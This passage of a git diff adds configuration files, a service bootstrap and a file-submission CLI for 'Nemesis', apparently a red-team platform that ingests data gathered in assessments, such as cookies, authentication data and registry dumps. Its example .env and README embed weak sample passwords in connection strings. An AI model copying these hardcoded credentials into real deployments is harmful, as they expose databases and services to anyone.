Libraries" +import_heading_firstparty = "Nemesis Libraries" +import_heading_thirdparty = "3rd Party Libraries" +profile = "black" +extra_standard_library = "asgiref" +known_first_party = "nemesis" +src_paths = ["isort", "test"] +line_length = 90 +use_parentheses = true +multi_line_output = 3 +include_trailing_comma = true +ensure_newline_before_comments = true +sections = [ + "FUTURE", + "STDLIB", + "DJANGO", + "THIRDPARTY", + "FIRSTPARTY", + "LOCALFOLDER", +] + +# [tool.pyright] +# Using pyrightconfig.json instead since pyproject.toml has 2nd class +# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235 + +[tool.black] +line-length = 240 diff --git a/cmd/dotnet/pyrightconfig.json b/cmd/dotnet/pyrightconfig.json new file mode 100644 index 0000000..102e0c9 --- /dev/null +++ b/cmd/dotnet/pyrightconfig.json @@ -0,0 +1,40 @@ +{ + "include": [ + "**/*.py" + ], + "exclude": [ + "**/__pycache__/**", + "**/.git/objects/**", + "**/.git/subtree-cache/**", + "**/.hg/store/**", + "**/.ipynb_checkpoints/**", + "**/.mypy_cache/**", + "**/.pytest_cache/**", + "**/.venv/**", + "**/*.egg-info/**", + "**/build/**", + "**/dist/**", + "**/node_modules/*/**", + "enrichment/lib/ext_tools/*", + ], + "executionEnvironments": [ + { + "root": ".", + "pythonVersion": "3.11", + "extraPaths": [ + "../../packages/python/nemesiscommon", + "../../packages/python/nemesispb", + ] + }, + ], + "ignore": [ + "enrichment/lib/ext_tools" + ], + "pythonVersion": "3.11", + "reportMissingImports": true, + "reportMissingTypeStubs": false, + "typeCheckingMode": "basic", + "useLibraryCodeForTypes": true, + "venvPath": ".", + "venv": ".venv" +} \ No newline at end of file diff --git a/cmd/dotnet/tests/__init__.py b/cmd/dotnet/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/dotnet/tests/dotnet_test.py b/cmd/dotnet/tests/dotnet_test.py new file mode 100644 index 0000000..d25112b --- /dev/null +++ b/cmd/dotnet/tests/dotnet_test.py @@ -0,0 +1,7 @@ +# 3rd Party Libraries +import pytest + + +@pytest.mark.asyncio +async def test_dotnet() -> None: + pass diff --git a/cmd/enrichment/.dockerignore b/cmd/enrichment/.dockerignore new file mode 100644 index 0000000..0b1e1e7 --- /dev/null +++ b/cmd/enrichment/.dockerignore @@ -0,0 +1,27 @@ +**/__pycache__ +**/.venv +**/.classpath +**/.dockerignore +**/.env +**/.git +**/.gitignore +**/.project +**/.settings +**/.toolstarget +**/.vs +**/.vscode +**/*.*proj.user +**/*.dbmdl +**/*.jfm +**/bin +**/charts +**/docker-compose* +**/compose* +**/Dockerfile* +**/node_modules +**/npm-debug.log +**/obj +**/secrets.dev.yaml +**/values.dev.yaml +LICENSE +README.md diff --git a/cmd/enrichment/.env.example b/cmd/enrichment/.env.example new file mode 100644 index 0000000..fa6d399 --- /dev/null +++ b/cmd/enrichment/.env.example @@ -0,0 +1,37 @@ +ASSESSMENT_ID=ASSESS-TEST +AWS_ACCESS_KEY_ID= +AWS_BUCKET=nemesis-test +AWS_DEFAULT_REGION=us-east-1 +AWS_SECRET_ACCESS_KEY= +AWS_KMS_KEY_ALIAS=nemesis-dev +CHUNK_SIZE=128000 +CONTEXT_WORDS=5 +CRACK_LIST_URI=http://127.0.0.1:9900 +DATA_DOWNLOAD_DIR=/tmp +DB_ITERATION_SIZE=1000 +DISABLE_ALERTING=False +DOTNET_URI=http://dotnet:9800 +ELASTICSEARCH_PASSWORD=Qwerty12345 +ELASTICSEARCH_URL=http://192.168.230.42:8834/ +ELASTICSEARCH_USER=nemesis +ENVIRONMENT=development +EXTRACTED_ARCHIVE_SIZE_LIMIT=500000000 +GOTENBERG_URI=http://192.168.230.42:3000 +PUBLIC_KIBANA_URL=http://192.168.230.42:8080/kibana/ +LOG_LEVEL=DEBUG +ML_CHUNK_SIZE=5000 +ML_MODELS_URI=http://127.0.0.1:5000 +MODEL_WORD_LIMIT=100000 +NEMESIS_HOST=192.168.230.42 +POSTGRES_CONNECTION_URI='postgres://nemesis:Qwerty12345@192.168.230.42:5432/nemesis' +PROB_THRESHOLD=.95 +PROMETHEUS_PORT=18000 +RABBITMQ_CONNECTION_URI='amqp://nemesis:Qwerty12345@192.168.230.42:5672/' +SLACK_CHANNEL=#testing3 +SLACK_EMOJI=':smiling_imp:' +SLACK_USERNAME=Nemesis +SLACK_WEBHOOK_URL=https://hooks.slack.com/services/REST_OF_THE_URL +TENSORFLOW_URI=http://192.168.230.42:8501/ +TIKA_URI=http://192.168.230.42:9998 +WEB_API_URL=http://192.168.230.42:8080/api/ +YARA_API_PORT=8082 \ No newline at end of file diff --git a/cmd/enrichment/.flake8 b/cmd/enrichment/.flake8 new file mode 100644 index 0000000..f3b8a89 --- /dev/null +++ b/cmd/enrichment/.flake8 @@ -0,0 +1,9 @@ +[flake8] +ignore = E231, E241 +max-line-length = 240 +count = true +max-complexity = 10 +max-cognitive-complexity=20 +exclude = + enrichment/lib/ext_tools + .venv \ No newline at end of file diff --git a/cmd/enrichment/.gitignore b/cmd/enrichment/.gitignore new file mode 100644 index 0000000..ddf4581 --- /dev/null +++ b/cmd/enrichment/.gitignore @@ -0,0 +1,163 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +process_categorizer-data/ +# Ignore dynaconf secret files +.secrets.* diff --git a/cmd/enrichment/.python-version b/cmd/enrichment/.python-version new file mode 100644 index 0000000..1e33456 --- /dev/null +++ b/cmd/enrichment/.python-version @@ -0,0 +1 @@ +3.11.2 diff --git a/cmd/enrichment/.vscode/extensions.json b/cmd/enrichment/.vscode/extensions.json new file mode 100644 index 0000000..a7ff5f4 --- /dev/null +++ b/cmd/enrichment/.vscode/extensions.json @@ -0,0 +1,17 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations. + // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp + // List of extensions which should be recommended for users of this workspace. + "recommendations": [ + "bungcip.better-toml", + "ms-python.black-formatter", + "ms-python.flake8", + "ms-python.isort", + "ms-python.python", + "ms-python.vscode-pylance", + "njpwerner.autodocstring", + "zxh404.vscode-proto3", + ], + // List of extensions recommended by VS Code that should not be recommended for users of this workspace. + "unwantedRecommendations": [] +} \ No newline at end of file diff --git a/cmd/enrichment/.vscode/launch.json b/cmd/enrichment/.vscode/launch.json new file mode 100644 index 0000000..23be6d2 --- /dev/null +++ b/cmd/enrichment/.vscode/launch.json @@ -0,0 +1,60 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "Service: enrichment", + "type": "python", + "request": "launch", + "module": "enrichment", + "console": "integratedTerminal", + "cwd": "${workspaceFolder}", + "justMyCode": false, + "env": { + // "PYTHONASYNCIODEBUG": "1", + "BETTER_EXCEPTIONS": "1", + "FORCE_COLOR": "1", + } + }, + { + "name": "submit_to_nemesis.py - File", + "type": "python", + "request": "launch", + "module": "enrichment.cli.submit_to_nemesis", + "console": "integratedTerminal", + "cwd": "${workspaceFolder}", + "justMyCode": false, + "env": { + // "PYTHONASYNCIODEBUG": "1", + "BETTER_EXCEPTIONS": "1", + "FORCE_COLOR": "1", + }, + "args": [ + "-f", + "${workspaceFolder}/../../sample_files/appsettings.json", + "${workspaceFolder}/../../sample_files/SiteList.xml", + "${workspaceFolder}/../../sample_files/dotnet_assembly.exe", + ] + }, + { + "name": "submit_to_nemesis.py - Folder", + "type": "python", + "request": "launch", + "module": "enrichment.cli.submit_to_nemesis", + "console": "integratedTerminal", + "cwd": "${workspaceFolder}", + "justMyCode": false, + "env": { + // "PYTHONASYNCIODEBUG": "1", + "BETTER_EXCEPTIONS": "1", + "FORCE_COLOR": "1", + }, + "args": [ + "--folder", + "${workspaceFolder}/../../sample_files" + ] + } + ] +} \ No newline at end of file diff --git a/cmd/enrichment/.vscode/settings.json b/cmd/enrichment/.vscode/settings.json new file mode 100644 index 0000000..1490d27 --- /dev/null +++ b/cmd/enrichment/.vscode/settings.json @@ -0,0 +1,64 @@ +{ + "[javascript]": { + "editor.formatOnSave": false + }, + "[html]": { + "editor.formatOnSave": false + }, + "[python]": { + "editor.codeActionsOnSave": { + "source.organizeImports": true + }, + "editor.defaultFormatter": "ms-python.black-formatter", + "editor.formatOnSave": true, + }, + "autoDocstring.docstringFormat": "google", + "editor.formatOnSave": true, + "files.exclude": { + "**/.DS_Store": true, + "**/.git": true, + "**/.hg": true, + "**/.mypy_cache": true, + "**/.pytest_cache": true, + "**/.svn": true, + "**/.venv": true, + "**/__pycache__": true, + "**/Thumbs.db": true + }, + "files.trimTrailingWhitespace": true, + "files.watcherExclude": { + "**/__pycache__/**": true, + "**/.git/objects/**": true, + "**/.git/subtree-cache/**": true, + "**/.hg/store/**": true, + "**/.ipynb_checkpoints/**": true, + "**/.mypy_cache/**": true, + "**/.pytest_cache/**": true, + "**/.venv/**": true, + "**/*.egg-info/**": true, + "**/build/**": true, + "**/dist/**": true, + "**/node_modules/*/**": true, + }, + "python.analysis.diagnosticSeverityOverrides": { + "reportMissingImports": "none", + "reportMissingModuleSource": "none", + }, + "python.analysis.useLibraryCodeForTypes": true, // Pyright + "python.formatting.provider": "none", + "python.languageServer": "Pylance", + "python.linting.enabled": true, + "python.linting.flake8Args": [ + "--max-line-length=240", + "--ignore=E203,E722,W503", + ], + "python.linting.flake8Enabled": true, + "python.linting.lintOnSave": true, + "python.linting.pylintEnabled": false, + "python.testing.pytestArgs": [ + "tests" + ], + "python.testing.unittestEnabled": false, + "python.testing.pytestEnabled": true, + "python.analysis.typeCheckingMode": "basic", +} \ No newline at end of file diff --git a/cmd/enrichment/.vscode/tasks.json b/cmd/enrichment/.vscode/tasks.json new file mode 100644 index 0000000..00b0263 --- /dev/null +++ b/cmd/enrichment/.vscode/tasks.json @@ -0,0 +1,12 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "Type Checking", + "type": "shell", + "command": "poetry run pyright" + } + ] +} \ No newline at end of file diff --git a/cmd/enrichment/README.md b/cmd/enrichment/README.md new file mode 100644 index 0000000..cd387bc --- /dev/null +++ b/cmd/enrichment/README.md @@ -0,0 +1,33 @@ +# Usage +``` +docker build -t enrichments . + +docker run --rm enrichments +``` + +# submit_to_nemesis +Usage: +``` +poetry run python -m enrichment.cli.submit_to_nemesis [OPTIONS] +``` + +Example: Submit all files to the folder (use the absolute path): +``` +poetry run python -m enrichment.cli.submit_to_nemesis --folder /code/ods/sample_files +``` + +Example: Submit multiple files with verbose logging +``` +poetry run python -m enrichment.cli.submit_to_nemesis -f /etc/issue /etc/hosts --log_level DEBUG +``` + + +# Yara + +To post a file to the Yara endpoint, use: +``` +curl -i -X POST --user 'nemesis:Password123!' -H "Content-Type: multipart/form-data" -F "file=@file.exe" http://127.0.0.1:8080/yara/file +``` + +# Acknowldegements +* AV product list was originally derived partially from https://github.com/kazimer/Aggressor-scripts-1/tree/master/Ps-highlight \ No newline at end of file diff --git a/cmd/enrichment/enrichment/__main__.py b/cmd/enrichment/enrichment/__main__.py new file mode 100644 index 0000000..e7e7a6d --- /dev/null +++ b/cmd/enrichment/enrichment/__main__.py @@ -0,0 +1,14 @@ +# 3rd Party Libraries +from enrichment.bootstrap import main +from enrichment.containers import Container + +if __name__ == "__main__": + container = Container() + container.wire( + modules=[ + "enrichment", + "enrichment.bootstrap", + ] + ) + + main(container) diff --git a/cmd/enrichment/enrichment/bootstrap.py b/cmd/enrichment/enrichment/bootstrap.py new file mode 100644 index 0000000..6b5539b --- /dev/null +++ b/cmd/enrichment/enrichment/bootstrap.py @@ -0,0 +1,143 @@ +# Standard Libraries +import asyncio +import signal +from typing import Any, List, Optional +from urllib.parse import urlparse + +# 3rd Party Libraries +import structlog +from dependency_injector.wiring import Provide, inject +from enrichment.containers import Container +from enrichment.settings import EnrichmentSettings +from nemesiscommon.logging import configure_logger +from nemesiscommon.setupqueues import initRabbitMQ +from nemesiscommon.socketwaiter import SocketWaiter +from nemesiscommon.tasking import TaskDispatcher + +logger: structlog.BoundLogger = structlog.get_logger(module=__name__) + + +@inject +async def amain(container: Container): + await container.init_resources() # type: ignore + + task_list = [] + config = container.config2() + + if config.storage_provider == "s3": + container.storage_service.override(container.storage_service_s3) + + await initRabbitMQ(config.rabbitmq_connection_uri) + await wait_for_services(config) + + task_names = get_task_names(config, container) + + for name in task_names: + t = await container.tasks(name) # type: ignore + task_list.append(t) + + await logger.ainfo("Starting task dispatcher", tasks=task_names) + dispatcher = TaskDispatcher(task_list, config.prometheus_port) + await dispatcher.start() + + +def get_task_names(config: EnrichmentSettings, container: Container) -> List[str]: + all_tasks = list(container.tasks.providers.keys()) + + if not config.tasks: + return all_tasks + + excluded_tasks = [t[1:] for t in config.tasks if t.startswith("-")] + + # If there's task exclusions, only return tasks that aren't in the exclusion list + if excluded_tasks: + if len(excluded_tasks) != len(config.tasks): + raise ValueError("Cannot mix specifying both task exclusions and inclusions") + + validate_task_names(excluded_tasks, all_tasks) + return [t for t in all_tasks if t not in excluded_tasks] + + # Ensure the configured tasks are valid + validate_task_names(config.tasks, all_tasks) + return config.tasks + + +def validate_task_names(input_tasks: List[str], all_tasks: List[str]): + for t in input_tasks: + if t not in all_tasks: + raise ValueError(f"'{t}' is not a valid task name. Possible tasks: {all_tasks.sort()}") + + +@inject +def main(container: Container, config=Provide[Container.config]): + configure_logger(False, config["log_level"], config["environment"].value) + logger = structlog.get_logger(module=__name__) + loop = asyncio.get_event_loop() + + if config["environment"].is_development(): + # loop.set_debug(True) + loop.slow_callback_duration = 1 + + signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT) + for s in signals: + loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(container, loop, s))) + loop.set_exception_handler(handle_exception) + + try: + task = amain(container) + loop.run_until_complete(task) + except asyncio.exceptions.CancelledError: + logger.debug("Primary App asyncio task cancelled. Application is shutting down.") + + +async def shutdown(container: Container, loop: asyncio.AbstractEventLoop, signal: Optional[signal.Signals] = None): + """Cleanup tasks tied to the service's shutdown.""" + + if signal: + logger.info(f"Shutting down due the signal '{signal.name}'...") + else: + logger.info("Shutting down...") + + await container.shutdown_resources() # type: ignore + tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()] + + logger.debug(f"Cancelling {len(tasks)} outstanding tasks") + [task.cancel() for task in tasks] + + await asyncio.gather(*tasks) + + loop.stop() + + +def handle_exception(loop: asyncio.AbstractEventLoop, context: dict[str, Any]): + # context["message"] will always be there; but context["exception"] may not + e = context.get("exception", None) + msg = context.get("message") + + if "exception" in context: + logger.error( + "Unhandled global exception", + exception=str(e), + exception_message=msg, + ) + else: + logger.error("Unhandled global exception", exception_message=msg) + + # logger.info("Shutting down...") + # asyncio.create_task(shutdown(loop)) + + +async def wait_for_services(config: EnrichmentSettings) -> None: + rabbitUri = urlparse(config.rabbitmq_connection_uri) + elasticUri = urlparse(config.elasticsearch_url) + postgresUri = urlparse(config.postgres_connection_uri) + + if rabbitUri.hostname is None or elasticUri.hostname is None or postgresUri.hostname is None: + raise Exception("Invalid connection URI") + if rabbitUri.port is None or elasticUri.port is None or postgresUri.port is None: + raise Exception("Invalid connection URI") + + SocketWaiter(rabbitUri.hostname, rabbitUri.port).wait() + SocketWaiter(elasticUri.hostname, elasticUri.port).wait() + SocketWaiter(postgresUri.hostname, postgresUri.port).wait() + await logger.ainfo("All services are online!") diff --git a/cmd/enrichment/enrichment/cli/submit_to_nemesis/__main__.py b/cmd/enrichment/enrichment/cli/submit_to_nemesis/__main__.py new file mode 100644 index 0000000..85a86cf --- /dev/null +++ b/cmd/enrichment/enrichment/cli/submit_to_nemesis/__main__.py @@ -0,0 +1,54 @@ +# Standard Libraries +import asyncio +import signal + +# 3rd Party Libraries +from enrichment.cli.submit_to_nemesis.submit_to_nemesis import amain + + +def handle_exception(loop: asyncio.AbstractEventLoop, context): + e = context.get("exception") + msg = context.get("message") + + if e: + if type(e) == SystemExit: + # Something called sys.exit() + pass + else: + print(f"Caught unhandled global exception: {type(e)}. Message: {msg}") + else: + print(f"Caught unhandled global exception: {msg}") + + asyncio.create_task(shutdown(loop)) + + +async def shutdown(loop: asyncio.AbstractEventLoop, signal=None): + """Cleanup tasks tied to the service's shutdown.""" + if signal: + # print(f"Received exit signal {signal.name}...") + pass + + tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()] + + [task.cancel() for task in tasks] + + await asyncio.gather(*tasks, return_exceptions=True) + loop.stop() + + +def main(): + loop = asyncio.get_event_loop() + signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT) + for s in signals: + loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(loop, signal=s))) + loop.set_exception_handler(handle_exception) + + try: + task = loop.create_task(amain()) + loop.run_until_complete(task) + finally: + loop.close() + + +if __name__ == "__main__": + main() diff --git a/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py new file mode 100644 index 0000000..f141701 --- /dev/null +++ b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py @@ -0,0 +1,668 @@ +#!/usr/bin/python3 + +# Standard Libraries +import argparse +import asyncio +import functools +import glob +import json +import os +import random +import re +import sys +import uuid +from datetime import datetime, timedelta +from typing import Any, AsyncIterator, Callable, Dict, Iterator, List, Optional, Tuple + +# 3rd Party Libraries +import httpx +import requests +import structlog +import urllib3 +import yaml +from nemesiscommon.apiclient import FileUploadRequest, NemesisApiClient +from nemesiscommon.logging import configure_logger +from structlog.typing import FilteringBoundLogger + +urllib3.disable_warnings() + +logger: FilteringBoundLogger + + +async def get_config() -> dict[str, str]: + global logger + config: Dict[str, str] = {} + + ####### + # Parse command line args + ####### + parser = argparse.ArgumentParser(description="Submit file(s) to Nemesis.", prog="submit_to_nemesis") + parser.add_argument("-f", "--file", type=str, nargs="+", help="File(s) to submit to Nemesis") + parser.add_argument("--folder", type=str, nargs="+", help="Folders(s) to submit to Nemesis") + parser.add_argument("-s", "--sec_between_files", type=float, nargs="?", default=0, help="Seconds between file submissions (default 0). If > 0, it cannot be used with the --workers argument.") + parser.add_argument("-w", "--workers", type=int, nargs="?", default=10, help="Number of workers to use (default 10). If --sec_between_files argument is set, value will be 1") + parser.add_argument("-r", "--repeat", type=int, default=0, help="Times to repeat the submission (for stress testing)") + parser.add_argument("-l", "--log_level", type=str, default="INFO", help="Log level (default INFO)") + parser.add_argument("-t", "--timeout", type=int, default=60, help="HTTP connect/read/write/pool timeout in seconds (default 60)") + parser.add_argument("-c", "--cookies", type=int, help="Number of fake cookies to construct and generate.") + if len(sys.argv) < 2: + parser.print_usage() + return None + + try: + args = parser.parse_args() + except SystemExit: + return None + + ####### + # Load settings from config file + ####### + script_folder = os.path.dirname(os.path.realpath(__file__)) + config_file_path = f"{script_folder}/submit_to_nemesis.yaml" + + if os.path.exists(config_file_path): + with open(config_file_path, "rb") as f: + config = yaml.safe_load(f) + else: + config["nemesis_url"] = "" + while not config["nemesis_url"]: + config["nemesis_url"] = input("Nemesis URL http://:/ : ") + if not config["nemesis_url"].endswith("/"): + config["nemesis_url"] = config["nemesis_url"] + "/" + + config["nemesis_creds"] = "" + while not config["nemesis_creds"]: + config["nemesis_creds"] = input("Nemesis creds : : ") + + config["operator_name"] = "" + while not config["operator_name"]: + config["operator_name"] = input("Operator name (required): ") + config["operator_name"] = config["operator_name"].upper() + + config["project_name"] = "" + while not config["project_name"]: + config["project_name"] = input("Project name (required): ") + config["project_name"] = config["project_name"].upper() + + config["network_name"] = "" + if not config["network_name"]: + config["network_name"] = input("Network name (optional): ") + + config["expiration_days"] = 100 + config["expiration_days"] = input("Days until data expiration (optional, default 100): ") + while config["expiration_days"] and not config["expiration_days"].isnumeric(): + config["expiration_days"] = int(input("Days until data expiration (optional, default 100): ")) + if not config["expiration_days"]: + config["expiration_days"] = 100 + config["expiration_days"] = int(config["expiration_days"]) + + config["elasticsearch_url"] = "" + while not config["elasticsearch_url"]: + config["elasticsearch_url"] = input("Elasticsearch URL http://:/elastic/ : ") + if config["elasticsearch_url"].endswith("/"): + config["elasticsearch_url"] = config["elasticsearch_url"].rstrip("/") + + config["elasticsearch_creds"] = "" + while not config["elasticsearch_creds"]: + config["elasticsearch_creds"] = input("Elasticsearch creds : : ") + + with open(config_file_path, "w") as f: + yaml.dump(config, f) + + nemesis_user, nemesis_pass = config["nemesis_creds"].split(":") + config["nemesis_user"] = nemesis_user + config["nemesis_pass"] = nemesis_pass + + config["file"] = args.file + config["folder"] = args.folder + config["sec_between_files"] = args.sec_between_files + config["repeat"] = args.repeat + config["timeout"] = args.timeout + config["log_level"] = args.log_level + config["cookies"] = args.cookies + + configure_logger(False, config["log_level"]) + global logger + logger = structlog.getLogger() + logger.debug("Config", config=config) + + if args.sec_between_files > 0: + if args.workers > 1: + logger.warning("sec_between_files argument is set, workers will be set to 1") + config["workers"] = 1 + else: + config["workers"] = args.workers + + return config + + +async def get_timestamp(days_to_add=0): + dt = datetime.now() + + if days_to_add != 0: + dt = dt + timedelta(days=days_to_add) + + return dt.strftime("%Y-%m-%dT%H:%M:%S.000Z") + + +async def get_metadata(config, data_type="file_data"): + metadata = {} + metadata["agent_id"] = config["operator_name"] + metadata["agent_type"] = "submit_to_nemesis" + metadata["automated"] = False + metadata["data_type"] = data_type + # metadata["source"] = "computer.domain.com" + metadata["expiration"] = await get_timestamp(config["expiration_days"]) + metadata["project"] = config["project_name"] + metadata["timestamp"] = await get_timestamp() + return metadata + + +api_client: httpx.AsyncClient = None + + +async def get_nemesis_api_client(config) -> httpx.AsyncClient: + global api_client, logger + if not api_client: + nemesis_url = config["nemesis_url"] + nemesis_user = config["nemesis_user"] + nemesis_pass = config["nemesis_pass"] + timeout = config["timeout"] + + auth = httpx.BasicAuth(nemesis_user, nemesis_pass) + transport = httpx.AsyncHTTPTransport(retries=5) + limits = httpx.Limits( + max_keepalive_connections=5, + max_connections=10, + ) + + api_client = httpx.AsyncClient(base_url=nemesis_url, auth=auth, transport=transport, timeout=timeout, limits=limits) + + return api_client + + +async def nemesis_post_file(config: Dict[str, str], file_path: str): + """ + Takes a series of raw file bytes and POSTs it to the NEMESIS /file API endpoint. + + **Parameters** + + ``file_bytes`` + Bytes of the file we're uploading. + + **Returns** + + A new UUID string returned by the Nemesis API. + """ + nemesis_url = config["nemesis_url"] + + client = NemesisApiClient(nemesis_url, await get_nemesis_api_client(config)) + + try: + resp = await client.send_file(FileUploadRequest(file_path)) + except httpx.HTTPStatusError as e: + if e.response.status_code == 404: + logger.error("Nemesis API server returned 404 Not Found. Is the URL correct or is the API route enabled?", url=nemesis_url) + else: + logger.error(f"Nemesis API server returned {e.response.status_code}") + except httpx.TimeoutException as e: + timeoutStr = type(e).__name__ + logger.error(f"HTTP {timeoutStr} occured while making Nemesis API call", url=nemesis_url, timeout_type=timeoutStr) + return None + except httpx.ConnectError: + logger.error("Unable to connect to Nemesis API server", url=nemesis_url) + return None + except PermissionError: + logger.error("Access denied to file") + return None + except Exception as e: + logger.exception(e, message="nemesis_post_file error") + return None + else: + logger.debug(f"Uploaded file '{file_path}' to nemesis! File ID: {resp.object_id}. Sending file data message...") + return resp.object_id + + +async def nemesis_post_data(config, data): + """ + Takes a json blob and POSTs it to the NEMESIS /data API endpoint. + + **Parameters** + + ``data`` + JSON formatted blob to post. + + **Returns** + + True if the request was successful, False otherwise. + """ + + client = await get_nemesis_api_client(config) + + resp = await client.post(NemesisApiClient.DATA_ENDPOINT, json=data) + resp.raise_for_status() + + obj = resp.json() + return obj + + +async def submit_random_cookies(config, num_cookies=1000) -> uuid.UUID | None: + """ + Generates the specified number of cookies and submits the entire batch + at once to Nemesis. + """ + + metadata = await get_metadata(config, "cookie") + + word_site = "https://www.mit.edu/~ecprice/wordlist.10000" + response = requests.get(word_site) + words = response.content.decode("utf-8").splitlines() + domain = f"{'-'.join(random.choices(words, k=2))}.com" + cookie_data = [] + + for i in range(num_cookies): + if i % 100 == 0: + domain = f"{'-'.join(random.choices(words, k=2))}.com" + cookie_data.append({"user_data_directory": "C:/Users/harmj0y/AppData/Local/Google/Chrome/User Data/Default/Cookies", + "domain": domain, + "path": "/", + "name": f"VALUE_{i}", + "value": f"{random.choice(words)}_{random.randint(1, 10000000)}", + "expires": "2030-01-01T01:01:01.000Z", + "secure": True, + "http_only": True, + "session": False, + "samesite": "lax", + "source_port": 443 + }) + + resp = await nemesis_post_data(config, {"metadata": metadata, "data": cookie_data}) + return uuid.UUID(resp["object_id"]) if resp else None + + +async def process_file(config, file_path) -> uuid.UUID | None: + """ + Takes a configuration dictionary and file path and uploads the file to Nemesis, + then posting the file_data message. + """ + + if "services_api.json" in file_path: # NOTE: This must not conflict with the example Seatbelt services either + with open(file_path, "r") as f: + services_json_raw = f.read() + services_json = json.loads(services_json_raw) + resp = await nemesis_post_data(config, services_json) + return uuid.UUID(resp["object_id"]) if resp else None + + elif re.match(r".*file_information.*\.json$", file_path): + with open(file_path, "r") as f: + file_information = f.read() + file_information_json = json.loads(file_information) + resp = await nemesis_post_data(config, file_information_json) + return uuid.UUID(resp["object_id"]) if resp else None + + elif re.match(r".*registry_value.*\.json$", file_path): + with open(file_path, "r") as f: + registry_value = f.read() + registry_value_json = json.loads(registry_value) + resp = await nemesis_post_data(config, registry_value_json) + return uuid.UUID(resp["object_id"]) if resp else None + + elif re.match(r".*authentication_data.*\.json$", file_path): + with open(file_path, "r") as f: + authentication_data = f.read() + authentication_data_json = json.loads(authentication_data) + resp = await nemesis_post_data(config, authentication_data_json) + return uuid.UUID(resp["object_id"]) if resp else None + + elif re.match(r".*cookies.*\.json$", file_path): + with open(file_path, "r") as f: + cookie = f.read() + cookie_json = json.loads(cookie) + resp = await nemesis_post_data(config, cookie_json) + return uuid.UUID(resp["object_id"]) if resp else None + + elif re.match(r".*named_pipes.*\.json$", file_path): + with open(file_path, "r") as f: + named_pipes = f.read() + named_pipes_json = json.loads(named_pipes) + resp = await nemesis_post_data(config, named_pipes_json) + return uuid.UUID(resp["object_id"]) if resp else None + + elif re.match(r".*network_connections.*\.json$", file_path): + with open(file_path, "r") as f: + network_connections = f.read() + network_connections_json = json.loads(network_connections) + resp = await nemesis_post_data(config, network_connections_json) + return uuid.UUID(resp["object_id"]) if resp else None + + elif "bof_reg_collect.nemesis" in file_path: + object_id = await nemesis_post_file(config, file_path) + if not object_id: + logger.error("No nemesis_file_id returned when uploading bof_reg_collect.nemesis") + return None + else: + logger.debug("bof_reg_collect.nemesis uploaded to Nemesis", file_uuid=object_id) + + metadata = await get_metadata(config, "raw_data") + + raw_data = {} + raw_data["tags"] = ["bof_reg_collect"] + raw_data["data"] = object_id + raw_data["is_file"] = True + + resp = await nemesis_post_data(config, {"metadata": metadata, "data": [raw_data]}) + if resp: + logger.debug("bof_reg_collect.nemesis data sent to 